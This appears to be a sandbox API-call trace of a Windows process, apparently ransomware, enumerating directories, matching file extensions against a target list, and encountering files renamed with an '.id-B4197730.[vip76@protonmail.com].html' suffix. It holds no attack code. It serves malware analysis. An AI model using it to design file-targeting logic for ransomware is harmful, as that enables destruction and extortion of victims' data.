	[0166.155] lstrlenW (lpString=".ai5") returned 4
	[0166.155] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".ai6") returned 4
	[0166.155] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".ai7") returned 4
	[0166.155] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".ai8") returned 4
	[0166.155] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".anim") returned 5
	[0166.155] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0166.155] lstrlenW (lpString=".arw") returned 4
	[0166.155] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".as") returned 3
	[0166.155] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0166.155] lstrlenW (lpString=".asa") returned 4
	[0166.155] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".asc") returned 4
	[0166.155] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".ascx") returned 5
	[0166.155] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0166.155] lstrlenW (lpString=".asm") returned 4
	[0166.155] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".asmx") returned 5
	[0166.155] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0166.155] lstrlenW (lpString=".asp") returned 4
	[0166.155] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".aspx") returned 5
	[0166.155] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0166.155] lstrlenW (lpString=".asr") returned 4
	[0166.155] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".asx") returned 4
	[0166.156] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".avi") returned 4
	[0166.156] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".avs") returned 4
	[0166.156] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".backup") returned 7
	[0166.156] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0166.156] lstrlenW (lpString=".bak") returned 4
	[0166.156] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".bay") returned 4
	[0166.156] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".bd") returned 3
	[0166.156] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0166.156] lstrlenW (lpString=".bin") returned 4
	[0166.156] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".bmp") returned 4
	[0166.156] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".bz2") returned 4
	[0166.156] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".c") returned 2
	[0166.156] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0166.156] lstrlenW (lpString=".cdr") returned 4
	[0166.156] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".cer") returned 4
	[0166.156] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".cf") returned 3
	[0166.156] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0166.156] lstrlenW (lpString=".cfc") returned 4
	[0166.156] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".cfm") returned 4
	[0166.156] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0166.156] lstrlenW (lpString=".cfml") returned 5
	[0166.157] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0166.157] lstrlenW (lpString=".cfu") returned 4
	[0166.157] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".chm") returned 4
	[0166.157] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".cin") returned 4
	[0166.157] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".class") returned 6
	[0166.157] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0166.157] lstrlenW (lpString=".clx") returned 4
	[0166.157] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".config") returned 7
	[0166.157] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0166.157] lstrlenW (lpString=".cpp") returned 4
	[0166.157] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".cr2") returned 4
	[0166.157] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".crt") returned 4
	[0166.157] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".crw") returned 4
	[0166.157] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".cs") returned 3
	[0166.157] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0166.157] lstrlenW (lpString=".css") returned 4
	[0166.157] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0166.157] lstrlenW (lpString=".csv") returned 4
	[0166.157] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".cub") returned 4
	[0166.158] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dae") returned 4
	[0166.158] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dat") returned 4
	[0166.158] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".db") returned 3
	[0166.158] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0166.158] lstrlenW (lpString=".dbf") returned 4
	[0166.158] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dbx") returned 4
	[0166.158] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dc3") returned 4
	[0166.158] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dcm") returned 4
	[0166.158] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dcr") returned 4
	[0166.158] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".der") returned 4
	[0166.158] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0166.158] lstrlenW (lpString=".dib") returned 4
	[0166.159] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".dic") returned 4
	[0166.159] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".dif") returned 4
	[0166.159] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".divx") returned 5
	[0166.159] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0166.159] lstrlenW (lpString=".djvu") returned 5
	[0166.159] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0166.159] lstrlenW (lpString=".dng") returned 4
	[0166.159] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".doc") returned 4
	[0166.159] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".docm") returned 5
	[0166.159] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0166.159] lstrlenW (lpString=".docx") returned 5
	[0166.159] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0166.159] lstrlenW (lpString=".dot") returned 4
	[0166.159] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".dotm") returned 5
	[0166.159] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0166.159] lstrlenW (lpString=".dotx") returned 5
	[0166.159] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0166.159] lstrlenW (lpString=".dpx") returned 4
	[0166.159] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".dqy") returned 4
	[0166.159] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".dsn") returned 4
	[0166.159] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0166.159] lstrlenW (lpString=".dt") returned 3
	[0166.159] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0166.159] lstrlenW (lpString=".dtd") returned 4
	[0166.159] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".dwg") returned 4
	[0166.160] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".dwt") returned 4
	[0166.160] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".dx") returned 3
	[0166.160] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0166.160] lstrlenW (lpString=".dxf") returned 4
	[0166.160] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".edml") returned 5
	[0166.160] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0166.160] lstrlenW (lpString=".efd") returned 4
	[0166.160] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".elf") returned 4
	[0166.160] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".emf") returned 4
	[0166.160] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".emz") returned 4
	[0166.160] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".epf") returned 4
	[0166.160] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".eps") returned 4
	[0166.160] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".epsf") returned 5
	[0166.160] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0166.160] lstrlenW (lpString=".epsp") returned 5
	[0166.160] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0166.160] lstrlenW (lpString=".erf") returned 4
	[0166.160] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".exr") returned 4
	[0166.160] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".f4v") returned 4
	[0166.160] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0166.160] lstrlenW (lpString=".fido") returned 5
	[0166.160] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0166.161] lstrlenW (lpString=".flm") returned 4
	[0166.161] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".flv") returned 4
	[0166.161] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".frm") returned 4
	[0166.161] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".fxg") returned 4
	[0166.161] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".geo") returned 4
	[0166.161] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".gif") returned 4
	[0166.161] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".grs") returned 4
	[0166.161] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".gz") returned 3
	[0166.161] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0166.161] lstrlenW (lpString=".h") returned 2
	[0166.161] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0166.161] lstrlenW (lpString=".hdr") returned 4
	[0166.161] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".hpp") returned 4
	[0166.161] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".hta") returned 4
	[0166.161] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".htc") returned 4
	[0166.161] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".htm") returned 4
	[0166.161] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0166.161] lstrlenW (lpString=".html") returned 5
	[0166.161] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0166.161] lstrlenW (lpString="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html") returned 50
	[0166.161] lstrlenW (lpString=".html") returned 5
	[0166.161] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0166.162] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8221fcf6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8221fcf6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82245dfb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 0
	[0166.162] FindClose (in: hFindFile=0x6abb58 | out: hFindFile=0x6abb58) returned 1
	[0166.162] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.162] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0166.162] lstrlenW (lpString="DHtmlHeader.html") returned 16
	[0166.163] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81b9166d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81b9166d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81bb768c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DISPLA~1.HTM")) returned 1
	[0166.163] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0166.163] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.163] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0166.164] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.164] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82245dfb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82245dfb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8226c094, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0166.164] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8299326e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0166.164] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8299326e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 0
	[0166.165] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0166.165] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.165] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0166.165] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.165] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0166.166] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.166] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bb768c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bb768c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81bdd834, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Print.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PRINTI~1.HTM")) returned 1
	[0166.166] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bdd834, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bdd834, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fbd558, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate1.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~1.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81cc44a9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81cc44a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate2.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~2.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81ce89c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81ce89c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate3.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~3.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d0ebc6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d0ebc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82055f4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate4.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~4.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81df54ba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate5.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO8138~1.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate6.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROF0A6~1.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e19c83, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e19c83, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate7.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROEA08~1.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81efea7e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81efea7e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Rotate8.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO089C~1.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f24d73, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f24d73, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f24d73, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Save.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SAVEIC~1.HTM")) returned 1
